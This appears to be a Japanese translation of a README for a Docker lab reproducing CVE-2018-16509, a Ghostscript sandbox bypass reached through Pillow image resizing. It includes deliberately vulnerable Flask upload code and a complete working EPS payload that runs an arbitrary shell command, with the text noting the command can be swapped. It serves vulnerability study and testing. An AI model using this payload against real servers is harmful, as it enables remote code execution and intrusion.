https://github.com/ysrc/PIL-RCE-By-GhostButt(CVE-2017-8291 を介した PIL/Pillow RCE)に触発されたものです。この Docker 環境のバージョンは、より新しいバージョンの Ghostscript(v9.23)とより新しいエクスプロイト(CVE-2018-16509)を使用しています。
Ghostscript は、Adobe Systems の PostScript および Portable Document Format(PDF)ページ記述言語のインタプリタに基づくソフトウェア群です。何らかの理由で、Ghostscript は他のソフトウェア(例: ImageMagick)の依存関係としてインストールされるため、アプリケーションが直接使用しない場合でも、本番サーバー(例: /usr/local/bin/gs)に存在します。Ghostscript では多数の脆弱性が見つかっています。そのうちの 1 つが CVE-2018-16509(Google Project Zero の Tavis Ormandy によって発見)です。これは、Ghostscript v9.24 より前の -dSAFER バイパスを悪用し、PostScript で失敗した restore(grestore)を処理して LockSafetyParams を無効化し、invalidaccess を回避することで、任意のコマンドを実行できるようにする脆弱性です。この脆弱性は、ImageMagick などのライブラリや、Ghostscript ラッパーを持つプログラミング言語の画像ライブラリ(この例では PIL/Pillow)を介して到達可能です。
テストと概念実証のために、Docker 環境でエクスプロイトを試すことができます。
Ubuntu に docker/docker-compose をインストールします:
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# Install the latest version docker
curl -s https://get.docker.com/ | sh
# Run docker service
service docker start
# Install docker compose
pip install docker-compose
他のオペレーティングシステムでの docker および docker-compose のインストール手順は少し異なる場合があります。詳細は Docker ドキュメント を参照してください。
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509
# Compile environment
docker-compose build
# Run environment
docker-compose up -d
脆弱な Flask アプリには http://127.0.0.1:8000 でアクセスできます。テスト後は環境を停止できます。
docker-compose down -v
サーバー上で touch /tmp/got_rce を実行するために、rce.jpg(特別に細工された EPS 画像であり、実際の JPG ではありません)をアップロードできます。証明のために、docker exec [CONTAINER_ID] ls -alt /tmp を実行できます。CONTAINER_ID を取得するには、docker container ls で確認できます。シェルで実行するコマンドを変更するには、rce.jpg 内の touch /tmp/got_rce を直接変更してください。
Tavis Ormandy による脆弱性の説明は oss-security で参照できます。
PIL/Pillow の Ghostscript ラッパーのソースコードは EPSImagePlugin.py で確認できます。
これは app.py の脆弱なコードです:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
アップロードされたファイルの内容は、img = Image.open(img_path) によって読み込まれます。PIL は、画像が EPS 画像であるかどうかを自動的に検出し(例: ファイルの先頭に %!PS-Adobe-3.0 EPSF-3.0 を追加)、EPSImagePlugin.py の EpsImageFile クラスの _open() を呼び出します。raise IOError("cannot determine EPS bounding box") を回避するには、ファイルにバウンディングボックスを追加する必要があります(例: %%BoundingBox: -0 -0 100 100)。
EPS 画像の本体は、EPSImagePlugin.py の Ghostscript 関数にあるように、subprocess を使用して Ghostscript バイナリによって処理されます。
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
上記のコードは、Image.py で load が呼び出されたときに実行されるため、画像を開くだけでは脆弱性はトリガーされません。resize、crop、rotate、save などの関数は load を呼び出し、脆弱性をトリガーします。
Tavis Ormandy の POC と組み合わせることで、リモートシェルコマンド実行用の rce.jpg を作成できます。
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops